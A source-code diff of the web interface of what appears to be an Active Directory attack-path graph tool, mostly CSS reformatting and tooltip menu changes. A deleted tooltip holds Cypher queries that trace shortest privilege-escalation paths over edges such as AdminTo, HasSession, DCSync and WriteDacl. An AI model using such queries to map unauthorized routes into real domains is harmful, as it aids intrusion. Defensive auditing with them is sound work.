+    <li onclick="emitter.emit('ungroupNode', {{id}}); appStore.currentTooltip.close()">
+        <i class="fa fa-object-ungroup"> </i> Expand
+    </li>
+    {{/groupedNode}}
+</ul>
\ No newline at end of file
diff --git a/src/components/stageTooltip.html b/src/components/stageTooltip.html
new file mode 100644
index 0000000..c559113
--- /dev/null
+++ b/src/components/stageTooltip.html
@@ -0,0 +1,26 @@
+<div class="header">
+        Graph Options
+</div>
+<ul class="tooltip-ul">
+    <li onclick="emitter.emit('addNode')">
+        <i class="fa fa-plus"></i> Add Node
+    </li>
+    <li onclick="emitter.emit('addEdge')">
+            <i class="fa fa-arrow-right"></i> Add Edge
+        </li>
+    <li onclick="emitter.emit('graphRefresh')">
+        <i class="fas fa-sync-alt"></i> Refresh Layout
+    </li>
+    <li onclick="emitter.emit('graphReload')">
+        <i class="fa fa-retweet"></i> Reload Query
+    </li>
+    <li onclick="emitter.emit('changeLayout')">
+        <i class="fa fa-chart-line"></i> Change Layout
+    </li>
+    <li onclick="emitter.emit('importShim')">
+        <i class="fa fa-download"></i> Import Graph
+    </li>
+    <li onclick="emitter.emit('showExport')">
+        <i class="fa fa-upload"></i> Export Graph
+    </li>
+</ul>
\ No newline at end of file
diff --git a/src/components/tooltip.html b/src/components/tooltip.html
deleted file mode 100644
index c5ea37c..0000000
--- a/src/components/tooltip.html
+++ /dev/null
@@ -1,86 +0,0 @@
-<div class="header">
- {{label}}
-</div>
-<ul>
-     {{#type_user}}
-     <li onclick="emitter.emit('setStart', '{{type}}:{{label}}')">
-          <i class="glyphicon glyphicon-screenshot"></i> Set as Starting Node
-     </li>
-     <li onclick="emitter.emit('setEnd', '{{type}}:{{label}}')">
-          <i class="glyphicon glyphicon-screenshot"> </i> Set as Ending Node
-     </li>
-     <li onclick="emitter.emit('query', 'MATCH (n:User {name:{name}}),(m:User),p=shortestPath((m)-[r:MemberOf|AdminTo|HasSession|Contains|GpLink|Owns|DCSync|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(n)) WHERE NOT m.name={name} RETURN p', {name: '{{label}}'}, '{{label}}')">
-          <i class="glyphicon glyphicon-screenshot"> </i> Shortest Paths to Here
-     </li>
-     {{/type_user}} 
-     {{#type_computer}}
-     <li onclick="emitter.emit('setStart', '{{type}}:{{label}}')">
-          <i class="glyphicon glyphicon-screenshot"> </i> Set as Starting Node
-     </li>
-     <li onclick="emitter.emit('setEnd', '{{type}}:{{label}}')">
-          <i class="glyphicon glyphicon-screenshot"> </i> Set as Ending Node
-     </li>
-     <li onclick="emitter.emit('query', 'MATCH (n:Computer {name:{name}}),(m:User),p=allShortestPaths((m)-[r:MemberOf|AdminTo|HasSession|Contains|GpLink|Owns|DCSync|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(n)) WHERE NOT m.name={name} RETURN p', {name: '{{label}}'}, '{{label}}')">
-          <i class="glyphicon glyphicon-screenshot"> </i> Shortest Paths to Here
-     </li>
-     {{/type_computer}} 
-     {{#type_group}}
-     <li onclick="emitter.emit('setStart', '{{type}}:{{label}}')">
-          <i class="glyphicon glyphicon-screenshot"> </i> Set as Starting Node
-     </li>
-     <li onclick="emitter.emit('setEnd', '{{type}}:{{label}}')">
-          <i class="glyphicon glyphicon-screenshot"> </i> Set as Ending Node
-     </li>
-     <li onclick="emitter.emit('query', 'MATCH (n:Group {name:{name}}),(m:User),p=allShortestPaths((m)-[r:MemberOf|AdminTo|HasSession|Contains|GpLink|Owns|DCSync|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(n)) WHERE NOT m.name={name} RETURN p', {name: '{{label}}'}, '{{label}}')">
-          <i class="glyphicon glyphicon-screenshot"> </i> Shortest Paths to Here
-     </li>
-     {{/type_group}}
-     {{#type_gpo}}
-     <li onclick="emitter.emit('setStart', '{{type}}:{{guid}}')">
-         <i class="glyphicon glyphicon-screenshot"> </i> Set as Starting Node
-     </li>
-     <li onclick="emitter.emit('setEnd', '{{type}}:{{guid}}')">
-         <i class="glyphicon glyphicon-screenshot"> </i> Set as Ending Node
-     </li>
-     <li onclick="emitter.emit('query', 'MATCH (n:GPO {name:{name}}),(m),p=allShortestPaths((m)-[r:MemberOf|AdminTo|HasSession|Contains|GpLink|Owns|DCSync|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(n)) WHERE NOT m.guid={guid} RETURN p', {name: '{{name}}'})">
-         <i class="glyphicon glyphicon-screenshot"> </i> Shortest Paths to Here
-     </li>
-     {{/type_gpo}}
-     {{#type_ou}}
-     <li onclick="emitter.emit('setStart', '{{type}}:{{guid}}')">
-         <i class="glyphicon glyphicon-screenshot"> </i> Set as Starting Node
-     </li>
-     <li onclick="emitter.emit('setEnd', '{{type}}:{{guid}}')">
-         <i class="glyphicon glyphicon-screenshot"> </i> Set as Ending Node
-     </li>
-     <li onclick="emitter.emit('query', 'MATCH (n:OU {guid:{guid}}),(m),p=allShortestPaths((m)-[r:MemberOf|AdminTo|HasSession|Contains|GpLink|Owns|DCSync|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(n)) WHERE NOT m.guid={guid} RETURN p', {guid: '{{guid}}'})">
-         <i class="glyphicon glyphicon-screenshot"> </i> Shortest Paths to Here
-     </li>
-     {{/type_ou}}
-     {{#type_domain}}
-     <li onclick="emitter.emit('setStart', '{{type}}:{{label}}')">
-         <i class="glyphicon glyphicon-screenshot"> </i> Set as Starting Node
-     </li>
-     <li onclick="emitter.emit('setEnd', '{{type}}:{{label}}')">
-         <i class="glyphicon glyphicon-screenshot"> </i> Set as Ending Node
-     </li>
-     <li onclick="emitter.emit('query', 'MATCH (n:Domain {name:{name}}),(m:User),p=allShortestPaths((m)-[r:MemberOf|AdminTo|HasSession|Contains|GpLink|Owns|DCSync|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(n)) WHERE NOT m.name={name} RETURN p', {name: '{{label}}'}, '{{label}} ')">
-         <i class="glyphicon glyphicon-screenshot"> </i> Shortest Paths to Here
-     </li>
-     {{/type_domain}}
-     {{#expand}}
-     <li onclick="emitter.emit('unfoldNode', {{id}}); appStore.currentTooltip.close()">
-          <i class="glyphicon glyphicon-screenshot"> </i> Expand
-     </li>
-     {{/expand}} 
-     {{#collapse}}
-     <li onclick="emitter.emit('collapseNode', {{id}}); appStore.currentTooltip.close()">
-          <i class="glyphicon glyphicon-screenshot"> </i> Collapse
-     </li>
-     {{/collapse}} 
-     {{#groupedNode}}
-     <li onclick="emitter.emit('ungroupNode', {{id}}); appStore.currentTooltip.close()">
-          <i class="glyphicon glyphicon-screenshot"> </i> Expand
-     </li>
-     {{/groupedNode}}
-</ul>
diff --git a/src/css/font-awesome.min.css b/src/css/font-awesome.min.css
deleted file mode 100644
index 4ec9223..0000000
--- a/src/css/font-awesome.min.css
+++ /dev/null
@@ -1,4 +0,0 @@
-/*!
- *  Font Awesome 4.6.3 by @davegandy - http://fontawesome.io - @fontawesome
- *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
- */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.6.3');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.6.3') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff2?v=4.6.3') format('woff2'),url('../fonts/fontawesome-webfont.woff?v=4.6.3') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.6.3') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.6.3#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root 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"}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:"\f2a4"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-signing:before,.fa-sign-language:before{content:"\f2a7"}.fa-low-vision:before{content:"\f2a8"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:before{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"\f2b2"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:"\f2b3"}.fa-fa:before,.fa-font-awesome:before{content:"\f2b4"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}
\ No newline at end of file
diff --git a/src/css/styles.css b/src/css/styles.css
index 2a1b5ec..b21526c 100644
--- a/src/css/styles.css
+++ b/src/css/styles.css
@@ -7,35 +7,40 @@
     overflow: hidden;
 }
 
-.max{
+.max {
     width: 100%;
     height: 100%;
 }
 
 @font-face {
-    font-family: 'Roboto';
+    font-family: "Roboto";
     font-weight: 400;
     font-style: normal;
-    src: url('../fonts/roboto-v15-latin-regular.eot');
+    src: url("../fonts/roboto-v15-latin-regular.eot");
     /* IE9 Compat Modes */
-    src: local('Roboto'), local('Roboto-Regular'), url('../fonts/roboto-v15-latin-regular.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */
-    url('../fonts/roboto-v15-latin-regular.woff2') format('woff2'), /* Super Modern Browsers */
-    url('../fonts/roboto-v15-latin-regular.woff') format('woff'), /* Modern Browsers */
-    url('../fonts/roboto-v15-latin-regular.ttf') format('truetype'), /* Safari, Android, iOS */
-    url('../fonts/roboto-v15-latin-regular.svg#Roboto') format('svg');
+    src: local("Roboto"), local("Roboto-Regular"),
+        url("../fonts/roboto-v15-latin-regular.eot?#iefix")
+            format("embedded-opentype"),
+        /* IE6-IE8 */ url("../fonts/roboto-v15-latin-regular.woff2")
+            format("woff2"),
+        /* Super Modern Browsers */
+            url("../fonts/roboto-v15-latin-regular.woff") format("woff"),
+        /* Modern Browsers */ url("../fonts/roboto-v15-latin-regular.ttf")
+            format("truetype"),
+        /* Safari, Android, iOS */
+            url("../fonts/roboto-v15-latin-regular.svg#Roboto") format("svg");
     /* Legacy iOS */
 }
 
 html,
 body {
-    font-family: 'Roboto', sans-serif;
+    font-family: "Roboto", sans-serif;
     height: 100%;
     overflow: hidden;
-    background-color: lightgray;
     overflow: hidden;
 }
 
-.customQueryGlyph{
+.customQueryGlyph {
     font-size: small;
     vertical-align: middle;
     top: -1px;
@@ -47,7 +52,7 @@ div.tooltip-inner-custom {
     max-width: 250px;
 }
 
-.aboutscroll{
+.aboutscroll {
     width: 100%;
     overflow: auto;
     height: 150px;
@@ -71,6 +76,11 @@ div.tooltip-inner-custom {
     pointer-events: none;
 }
 
+.bottomdiv-dark .slideupbutton{
+    background-color: black;
+    color: white;
+}
+
 .slideupbutton {
     position: relative;
     left: 50%;
@@ -87,20 +97,42 @@ div.tooltip-inner-custom {
     outline: 0;
 }
 
-.query-box{
-    padding: 0 .5em .5em .5em
+.query-box {
+    padding: 0 0.5em 0.5em 0.5em;
 }
 
 .graph {
     width: 100%;
     height: 100%;
-    background-color: lightgray;
     overflow: hidden;
 }
 
-.dropdown-item > i{
-    float:right;
-    margin-top:3px;
+.graph-light{
+    background-color: rgb(242, 245, 249);
+}
+
+.graph-dark{
+    background-color: rgb(79, 71, 61);
+    background-color: rgb(56, 51, 50);
+}
+
+.menu-button-dark{
+    color: white;
+    background-color: black;
+}
+
+.menu-button-dark:hover{
+    color: white;
+}
+
+.menu-button-light{
+    color: black;
+    background-color: white;
+}
+
+.dropdown-item > i {
+    float: right;
+    margin-top: 3px;
     margin-left: 2px;
 }
 
@@ -108,27 +140,164 @@ div.tooltip-inner-custom {
     outline: 0;
 }
 
-.typeaheadfix{
+.typeaheadfix {
     border: 0;
 }
 
-.typeaheadfix .Select-menu-outer{
+.typeaheadfix .Select-menu-outer {
     z-index: 99999;
 }
 
-.typeaheadfix .Select-control{
+.typeaheadfix .Select-control {
     border: 0;
     box-shadow: none !important;
 }
 
-.typeaheadfix .Select-control:focus{
+.typeaheadfix .Select-control:focus {
     border: 0;
 }
 
-.typeaheadfix .Select-arrow-zone{
+.typeaheadfix .Select-arrow-zone {
     display: none;
 }
 
+.edge-filter-heading > h4{
+    display: inline;
+    margin-right: 5px;
+}
+
+.edge-filter-heading > button{
+    height: 20px;
+    width: 30px;
+}
+
+.edgeFilter{
+    position: absolute;
+    left: 100%;
+    display: inline-block;
+    width: auto;
+    background-color: white;
+    box-shadow: 0 12px 15px 0 rgba(0, 0, 0, 0.2);
+    margin-left: 2px;
+}
+
+.edgeFilter > h4{
+    display:inline-block;
+    white-space: nowrap;
+    margin-left: 8px;
+    margin-right: 8px;
+}
+
+.edgeFilter > div > h3{
+    display:inline;
+    white-space: nowrap;
+    margin-right: 8px;
+}
+
+.edgeFilter > div{
+    margin-left: 8px;
+    margin-right: 8px;
+    white-space: nowrap;
+}
+
+.edgeFilter > div > input{
+    margin-top: 0;
+    white-space: nowrap;
+}
+
+#help-tab-container > div div{
+    white-space: pre-line;
+    margin-top: 5px;
+    max-height: 300px;
+    overflow-y: auto;
+}
+
+.nodeEditor{
+    position: absolute;
+    z-index: 20;
+    top: 1em;
+    right: 10em;
+    overflow: auto;
+    background-color: rgba(255, 255, 255, 0.9);
+    box-shadow: 0 12px 15px 0 rgba(0, 0, 0, 0.2);
+}
+
+.formButtonFix:focus{
+    border: 1px solid #ccc !important;
+    box-shadow: inset 0 1px 1px rgba(0,0,0,.075) !important;
+}
+
+.heighthack{
+    height: 1px;
+}
+
+.nodeEditor .panel-heading{
+    cursor: move;
+}
+
+
+.nodeEditTableContainer{
+    overflow: auto;
+    max-height: 20em;
+}
+
+.nodeEditRow *[contenteditable="true"]{
+    background-color: white;
+    border: 1px solid lightgray;
+}
+
+.nodeEditRow > td{
+    padding: 5px !important;
+}
+
+.nodeEditString{
+    resize: none;
+    max-width: 400px;
+}
+
+.nodeEditNumber{
+    resize: none;
+}
+
+.nodeEditArray{
+    resize: none;
+    max-height: 200px;
+    width: 100%;
+    height:100%;
+    max-width: 400px;
+    overflow-y: scroll;
+    white-space: pre-line;
+}
+
+.node-notes-textarea{
+    resize: none;
+    width: 98%;
+    height: 100px;
+}
+
+.add-modal-check-style{
+    position: relative;
+    font-size: 24px;
+    margin-right: 5px;
+    top: 5px;
+}
+
+.notes-check-style{
+    position:relative;
+    font-size: 18px;
+    margin-left: 5px;
+}
+
+.tooltip-ul i{
+    width: 20px;
+    text-align: center;
+}
+
+.glyph-hover-style:hover{
+    background-color: #247BA0;
+    color: white;
+}
+
 @media all and (min-width: 600px) {
     .searchdiv {
         position: absolute;
@@ -181,14 +350,86 @@ div.tooltip-inner-custom {
     }
 }
 
+.searchdiv-light{
+    background-color: white;
+    color: black;
+}
+
+.searchdiv-light .dbbuttons > button{
+    color: white;
+}
+
+.searchdiv-dark .dbbuttons > button{
+    color: black;
+}
+
+.searchdiv-dark .edgeFilter{
+    background-color: black;
+    color: white;
+}
+
+.searchdiv-dark .edge-filter-heading > button{
+    color: black;
+}
+
+
+.searchdiv-dark{
+    background-color: black;
+    color: white;
+}
+
+.searchdiv-dark #tab-style > ul > li > a{
+    color: white;
+}
+
+.searchdiv-dark #tab-style > ul > li > a:hover{
+    color: black;
+}
+
+.searchdiv-dark .searchbox{
+    background-color: black;
+    color: white;
+}
+
+.searchdiv-dark .spanfix{
+    background-color: black;
+    color: white;
+}
+
+.searchdiv-dark h4{
+    color: white;
+}
+
+.searchdiv-light h4{
+    color: blue;
+}
+.searchdiv-dark .query-box a{
+    color: white;
+}
+
+.searchdiv-dark .dl-horizontal a{
+    color: white;
+}
+
+.searchdiv-dark .dl-horizontal dd:hover{
+    background-color: gray;
+}
+
+.searchdiv-light .dl-horizontal dd:hover{
+    background-color: #ecf0f1;
+}
 
 .mainfade-appear {
-  opacity: 0.01;
+    opacity: 0.01;
+}
+
+.inline{
+    display: inline;
 }
 
 .mainfade-appear.mainfade-appear-active {
-  opacity: 1;
-  transition: opacity 1s ease-in;
+    opacity: 1;
+    transition: opacity 1s ease-in;
 }
 
 .dl-horizontal-fix {
@@ -198,10 +439,9 @@ div.tooltip-inner-custom {
 .dl-horizontal > h4 {
     margin-top: 10px;
     margin-bottom: 5px;
-    color: blue;
 }
 
-.dl-horizontal{
+.dl-horizontal {
     margin-right: 10px;
 }
 
@@ -209,6 +449,11 @@ div.tooltip-inner-custom {
     width: auto;
     padding-right: 1em;
     text-align: left;
+    pointer-events: none;
+}
+
+.dl-horizontal dd:hover {
+    background-color: #ecf0f1;
 }
 
 .dl-horizontal dd {
@@ -223,7 +468,7 @@ div.tooltip-inner-custom {
 
 .nodedatabox {
     overflow: auto;
-    border-top: .5px solid lightgray;
+    border-top: 0.5px solid lightgray;
     background-color: white;
 }
 
@@ -270,7 +515,6 @@ div.tooltip-inner-custom {
     padding-bottom: 10px;
 }
 
-
 .hideme {
     position: absolute;
     top: 0;
@@ -296,7 +540,7 @@ div.tooltip-inner-custom {
 .loginwindow {
     width: 100%;
     height: 100%;
-    background-color: rgba(0, 0, 0, .7);
+    background-color: rgba(0, 0, 0, 0.7);
 }
 
 @media all and (min-width: 600px) {
@@ -307,10 +551,10 @@ div.tooltip-inner-custom {
         overflow: auto;
         max-width: 70%;
         transform: translate(-50%, -50%);
-        border: 5px solid rgba(0, 0, 0, .5);
+        border: 5px solid rgba(0, 0, 0, 0.5);
         border-radius: 10px;
-        background-color: rgba(255, 255, 255, .9);
-        box-shadow: 0 12px 15px 0 rgba(0, 0, 0, .2);
+        background-color: rgba(255, 255, 255, 0.9);
+        box-shadow: 0 12px 15px 0 rgba(0, 0, 0, 0.2);
     }
 }
 
@@ -322,10 +566,10 @@ div.tooltip-inner-custom {
         overflow: auto;
         max-width: 40%;
         transform: translate(-50%, -50%);
-        border: 5px solid rgba(0, 0, 0, .5);
+        border: 5px solid rgba(0, 0, 0, 0.5);
         border-radius: 10px;
-        background-color: rgba(255, 255, 255, .9);
-        box-shadow: 0 12px 15px 0 rgba(0, 0, 0, .2);
+        background-color: rgba(255, 255, 255, 0.9);
+        box-shadow: 0 12px 15px 0 rgba(0, 0, 0, 0.2);
     }
 }
 
@@ -337,10 +581,10 @@ div.tooltip-inner-custom {
         overflow: auto;
         max-width: 25%;
         transform: translate(-50%, -50%);
-        border: 5px solid rgba(0, 0, 0, .5);
+        border: 5px solid rgba(0, 0, 0, 0.5);
         border-radius: 10px;
-        background-color: rgba(255, 255, 255, .9);
-        box-shadow: 0 12px 15px 0 rgba(0, 0, 0, .2);
+        background-color: rgba(255, 255, 255, 0.9);
+        box-shadow: 0 12px 15px 0 rgba(0, 0, 0, 0.2);
     }
 }
 
@@ -356,8 +600,8 @@ div.tooltip-inner-custom {
 }
 
 .loginwindow .input-group-addon {
-    min-width:115px;
-    text-align:left;
+    min-width: 115px;
+    text-align: left;
 }
 
 .loginwindow > #checkconnectionpanel {
@@ -367,10 +611,10 @@ div.tooltip-inner-custom {
     overflow: auto;
     max-width: 30%;
     transform: translate(-50%, -50%);
-    border: 5px solid rgba(0, 0, 0, .5);
+    border: 5px solid rgba(0, 0, 0, 0.5);
     border-radius: 10px;
-    background-color: rgba(255, 255, 255, .9);
-    box-shadow: 0 12px 15px 0 rgba(0, 0, 0, .2);
+    background-color: rgba(255, 255, 255, 0.9);
+    box-shadow: 0 12px 15px 0 rgba(0, 0, 0, 0.2);
 }
 
 .loginwindow > #checkconnectionpanel span {
@@ -386,10 +630,10 @@ div.tooltip-inner-custom {
     overflow: auto;
     max-width: 30%;
     transform: translate(-50%, -50%);
-    border: 5px solid rgba(0, 0, 0, .5);
+    border: 5px solid rgba(0, 0, 0, 0.5);
     border-radius: 10px;
-    background-color: rgba(255, 255, 255, .9);
-    box-shadow: 0 12px 15px 0 rgba(0, 0, 0, .2);
+    background-color: rgba(255, 255, 255, 0.9);
+    box-shadow: 0 12px 15px 0 rgba(0, 0, 0, 0.2);
 }
 
 .loginwindow > #logoutpanel span {
@@ -399,7 +643,7 @@ div.tooltip-inner-custom {
 }
 
 .loginwindow > #logoutpanel div {
-    margin: .5em 1em .5em 1em;
+    margin: 0.5em 1em 0.5em 1em;
 }
 
 .green-icon-color {
@@ -418,19 +662,19 @@ div.tooltip-inner-custom {
     margin-top: 5px;
 }
 
-.savecontainer{
-    margin-top:10px;
+.savecontainer {
+    margin-top: 10px;
 }
 
 .buttoncontainer {
     width: 50%;
-    display:inline-block;
+    display: inline-block;
     text-align: right;
 }
 
 .logincheck {
     width: 50%;
-    display:inline-block;
+    display: inline-block;
 }
 
 .has-spinner.activate .button-spinner {
@@ -441,51 +685,58 @@ div.tooltip-inner-custom {
 .button-spinner {
     display: inline-block;
     width: 0;
-    -webkit-transition: opacity .25s, width .25s;
-    -moz-transition: opacity .25s, width .25s;
-    -o-transition: opacity .25s, width .25s;
-    transition: opacity .25s, width .25s;
+    -webkit-transition: opacity 0.25s, width 0.25s;
+    -moz-transition: opacity 0.25s, width 0.25s;
+    -o-transition: opacity 0.25s, width 0.25s;
+    transition: opacity 0.25s, width 0.25s;
     opacity: 0;
 }
 
 .spinner > div {
-  width: 12px;
-  height: 12px;
-  background-color: #333;
+    width: 12px;
+    height: 12px;
+    background-color: #333;
 
-  border-radius: 100%;
-  display: inline-block;
-  -webkit-animation: sk-bouncedelay 1.4s infinite ease-in-out both;
-  animation: sk-bouncedelay 1.4s infinite ease-in-out both;
+    border-radius: 100%;
+    display: inline-block;
+    -webkit-animation: sk-bouncedelay 1.4s infinite ease-in-out both;
+    animation: sk-bouncedelay 1.4s infinite ease-in-out both;
 }
 
 .spinner .bounce1 {
-  -webkit-animation-delay: -0.32s;
-  animation-delay: -0.32s;
+    -webkit-animation-delay: -0.32s;
+    animation-delay: -0.32s;
 }
 
 .spinner .bounce2 {
-  -webkit-animation-delay: -0.16s;
-  animation-delay: -0.16s;
+    -webkit-animation-delay: -0.16s;
+    animation-delay: -0.16s;
 }
 
 @-webkit-keyframes sk-bouncedelay {
-  0%, 80%, 100% { -webkit-transform: scale(0) }
-  40% { -webkit-transform: scale(1.0) }
+    0%,
+    80%,
+    100% {
+        -webkit-transform: scale(0);
+    }
+    40% {
+        -webkit-transform: scale(1);
+    }
 }
 
 @keyframes sk-bouncedelay {
-  0%, 80%, 100% { 
-    -webkit-transform: scale(0);
-    transform: scale(0);
-  } 40% { 
-    -webkit-transform: scale(1.0);
-    transform: scale(1.0);
-  }
+    0%,
+    80%,
+    100% {
+        -webkit-transform: scale(0);
+        transform: scale(0);
+    }
+    40% {
+        -webkit-transform: scale(1);
+        transform: scale(1);
+    }
 }
 
-
-
 .modal {
     text-align: center;
 }
@@ -494,7 +745,7 @@ div.tooltip-inner-custom {
     .modal:before {
         display: inline-block;
         height: 100%;
-        content: ' ';
+        content: " ";
         vertical-align: middle;
     }
 }
@@ -529,10 +780,6 @@ div.tooltip-inner-custom {
     padding-top: 3px;
 }
 
-.zoomBox div button {
-    background-color: white;
-}
-
 .zoomIn {
     border-top-left-radius: 2em;
     border-top-right-radius: 2em;
@@ -583,21 +830,56 @@ div.tooltip-inner-custom {
     border-radius: 0;
 }
 
+.react-photo-gallery--gallery{
+    width: 99%;
+}
+
+.gallery-img i:first-child{
+    visibility: hidden;
+    position:absolute;
+    top:8px;
+    right: 18px;
+    z-index: 2;
+    font-size: 15px;
+    color: blue;
+}
+
+.gallery-img i:nth-child(2){
+    visibility: hidden;
+    position:absolute;
+    top:8px;
+    right: 2px;
+    z-index: 2;
+    font-size: 15px;
+    color: rgb(244, 65, 104)
+}
+
+.gallery-img:hover i{
+    visibility: visible;
+}
+
 .loadingIndicator {
     position: absolute;
     z-index: 25;
-    bottom: .5em;
+    bottom: 0.5em;
     left: 1em;
-    width: 80px;
 }
 
 .loadingIndicator div:first-child {
     text-align: center;
-    font-weight: bold
+    font-weight: bold;
 }
 
-.loadingIndicator img{
-    width: 80px;
+.loading-indicator-light div:first-child{
+    color: black;
+}
+
+.loading-indicator-dark div:first-child{
+    color: white;
+}
+
+.loadingIndicator img {
+    width: 150px;
     height: auto;
 }
 
@@ -608,8 +890,12 @@ div.tooltip-inner-custom {
     right: 10em;
     overflow: auto;
     min-width: 15%;
-    background-color: rgba(255, 255, 255, .9);
-    box-shadow: 0 12px 15px 0 rgba(0, 0, 0, .2);
+    background-color: rgba(255, 255, 255, 0.9);
+    box-shadow: 0 12px 15px 0 rgba(0, 0, 0, 0.2);
+}
+
+.settingsDiv .panel-heading{
+    cursor: move;
 }
 
 .sliderinput {
@@ -633,15 +919,15 @@ div.tooltip-inner-custom {
     margin-left: 5px;
 }
 
-.center-align{
+.center-align {
     text-align: center;
 }
 
-#tab-style{
-    border-top: .5px solid lightgray;
+#tab-style {
+    border-top: 0.5px solid lightgray;
 }
 
-#tab-style > ul{
+#tab-style > ul {
     display: table;
     width: 100%;
     border-bottom: 1px solid lightgray;
@@ -655,7 +941,7 @@ div.tooltip-inner-custom {
     display: table-cell;
     width: 33%;
     text-align: center;
-    color: #337AB7;
+    color: #337ab7;
 }
 
 #tab-style > ul > li > a:focus {
@@ -673,33 +959,39 @@ div.tooltip-inner-custom {
     color: black;
 }
 
-#tab-style > ul > li > a[aria-selected='true']{
+#tab-style > ul > li > a[aria-selected="true"] {
     border-right: 1px solid lightgray;
     border-left: 1px solid lightgray;
     color: black;
 }
 
-#tab-style > div{
+#tab-style > div {
     padding: 0 10px 0 10px;
 }
 
-#tab-style h3{
+#tab-style h3 {
     text-align: center;
 }
 
 .dbbuttons {
     padding-bottom: 1em;
+    width: 50%;
 }
 
 .displaynone {
     display: none;
 }
 
-.menubutton{
+.form-override:focus{
+    box-shadow: inset 0 1px 1px rgba(0,0,0,.075);
+    border: 1px solid rgb(204,204,204);
+}
+
+.menubutton {
     border-radius: 4px;
     background-color: #f4511e;
     border: none;
-    color: #FFFFFF;
+    color: #ffffff;
     text-align: center;
     font-size: 28px;
     padding: 20px;
@@ -717,23 +1009,22 @@ div.tooltip-inner-custom {
     overflow: visible;
 }
 
-.menudiv > div > button{
+.menudiv > div > button {
     overflow: hidden;
     white-space: nowrap;
-    background-color: #fff;
     margin-bottom: 5px;
     float: right;
     clear: right;
 }
 
-.menudiv > div > button > span{
+.menudiv > div > button > span {
     vertical-align: middle;
     top: -1px;
     width: 15px;
     height: 15px;
 }
 
-.fake-hidden{
+.fake-hidden {
     width: 0;
     height: 0;
     overflow: hidden;
@@ -745,8 +1036,8 @@ div.tooltip-inner-custom {
     top: 1em;
     right: 10em;
     overflow: auto;
-    background-color: rgba(255, 255, 255, .9);
-    box-shadow: 0 12px 15px 0 rgba(0, 0, 0, .2);
+    background-color: rgba(255, 255, 255, 0.9);
+    box-shadow: 0 12px 15px 0 rgba(0, 0, 0, 0.2);
 }
 
 .queryNodeSelect {
@@ -764,23 +1055,27 @@ div.tooltip-inner-custom {
     max-height: 16em;
 }
 
-.queryNodeSelect img{
+.queryNodeSelect img {
     width: auto;
